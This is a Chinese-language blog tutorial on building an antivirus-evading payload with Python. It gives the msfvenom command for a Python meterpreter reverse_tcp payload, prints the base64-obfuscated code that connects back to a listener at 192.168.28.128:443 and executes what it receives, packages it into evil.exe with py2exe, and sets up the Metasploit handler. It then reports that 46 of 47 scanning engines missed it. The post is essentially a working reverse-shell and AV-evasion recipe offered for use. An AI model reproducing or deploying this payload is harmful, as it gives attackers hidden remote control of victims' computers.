很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPy2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程序

将evil.py复制到windows,同时创建一个setup.py文件:

from distutils.core import setupimport py2exesetup(name = 'Meter',description = 'Python-based App',version = '1.0',console=['evil.py'],options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},zipfile = None,)

下面的方法运行 evil.py,生成可执行文件。

python ./setup.py py2exe

0x03 设置监听端口

Kali 运行Metasploit,设置监听:

msfconsoleuse exploit/multi/handlerset PAYLOAD python/meterpreter/reverse_tcpset LHOST 192.168.28.128set LPORT 443run

在Windows中运行evil.exe,获得一个meterpreter的会话:

0x04 免杀验证

确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。

这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎

扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。网站地址:http://www.virscan.org

python 生成payload_如何使用Python进行Payload免杀相关推荐

  1. python 生成payload_通过Python实现Payload分离免杀过程详解

    缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: 将payload给copy下来,去除引号. \x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x4 ...

  2. python 生成payload_利用Python进行Payload分离免杀

    缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 ...

  3. python打包的exe如何免杀_如何使用Python进行Payload免杀

    很多渗透工具都提供了权限维持的能力,如Metasploit.Empire和Cobalt Strike,但是都会被防病毒软件检测到恶意行为.在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方 ...

  4. 如何用python生成表格_用 Python 生成 HTML 表格

    在 邮件报表 之类的开发任务中,需要生成 HTML 表格. 使用 Python 生成 HTML 表格基本没啥难度, for 循环遍历一遍数据并输出标签即可. 如果需要实现合并单元格,或者按需调整表格样 ...

  5. opencv python 生成画布_用Python做自己的2020专属Flag动图

    2020年的开头并不顺利,有不少朋友希望能够重启2020.然而时光不可倒流,我们都应该学会积极的向前看. 我们可以给自己的2020年立下Flag,或者说给自己在这剩下的11个月里定下小目标,并不断为之 ...

  6. python 生成pdf_如何使用Python生成PDF?

    在日常办公中,我们会经常使用PDF文件.生成PDF的方法有很多,其中Python就可以.你知道怎么使用Python也可以生成PDF吗?下面来和小编一起学习下吧. 首先我们访问网址:https://wk ...

  7. python生成json_如何将Python数组转为Json格式数据并存储?

    在Python中将数组转为Json数据存储时需要用到将json模块中的json.dumps()或者json.dump()方法. ·json.dumps()方法用法 使用json.dumps( )方法将 ...

  8. python生成簇_使用Python复现SIGKDD2017的PAMAE算法(并行kmedoids算法)

    作者:坚新 研究方向:自然语言处理 https://github.com/yangjianxin1/PAMAE 编者按:AINLP技术群的坚新同学发布了一个新项目:PAMAE (PAMAE: Para ...

  9. python生成统计图_用python Linux(无GUI)中生成统计图

    我有这样一个需求:在我的raspberry pi 3中运行着一个爬虫程序,根据爬到的数据,使用matplotlib自动生成统计图(图片格式),然后发送到我的邮箱. 但是我ssh远程登录树莓派,运行如下 ...

最新文章

  1. Terraform 是什么?
  2. Verilog 中的 ^ 的用法
  3. 少儿python编程培训-无锡江阴少儿Python编程培训一对一
  4. 验证电话号码是否正确
  5. 张似玫计算机系,计算机系举办“音律飞扬”卡拉OK大赛决赛
  6. jqgrid学习(1)
  7. netty+mina 区别概要
  8. pointcut 排除_宁河天津玻璃门地弹簧玻璃门故障排除
  9. 来自 Spring Cloud 官方的消息,Spring Cloud Alibaba 即将毕业
  10. android xml 设置图片,android 的几种图片效果xml写法
  11. C++ 静态成员函数
  12. 5. vector 模板类型? 数据类型?
  13. jupyter notebook保存的文件在哪_通过配置文件修改jupyter notebook初始文件夹
  14. VPC2007与VServer2005R2比较
  15. Z4使用简评,极影音是最大亮点,但整体依然很拉胯
  16. linux rescan-scsi-bus.sh,关于rescan-scsi-bus.sh脚本的来历和使用注意事项
  17. 第1课:郭盛华课程_零基础学Linux操作系统
  18. 数据中心服务器芯片温度,【DKV】新建数据中心气流——第二部分:入口温度VS服务器性能...
  19. VGG16的猫狗识别
  20. 图灵计算机与网络论文,论文导读 | 阿兰·图灵《计算机器与智能》

热门文章

  1. js前端实现批量分页打印二维码标签
  2. cons vs list
  3. 3dmax:3dmax三维VR渲染设置之高级灯光渲染(经典案例—自由光灯光点光源制作吊灯效果)图文教程
  4. 长轮询java_网络编程-轮询和长轮询
  5. C语言 基础数字输出左直角三角形
  6. NC65单据参照多选
  7. 使用elementui美化原生input file
  8. 假如以产品经理为主角,拍一部电视剧...
  9. Linux screen简单用法
  10. 【matplotlib绘图】matplotlib.pyplot与axes的关系